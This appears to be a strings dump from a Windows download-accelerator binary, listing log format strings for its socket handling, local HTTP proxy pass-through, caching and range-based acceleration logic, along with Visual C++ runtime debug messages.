[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

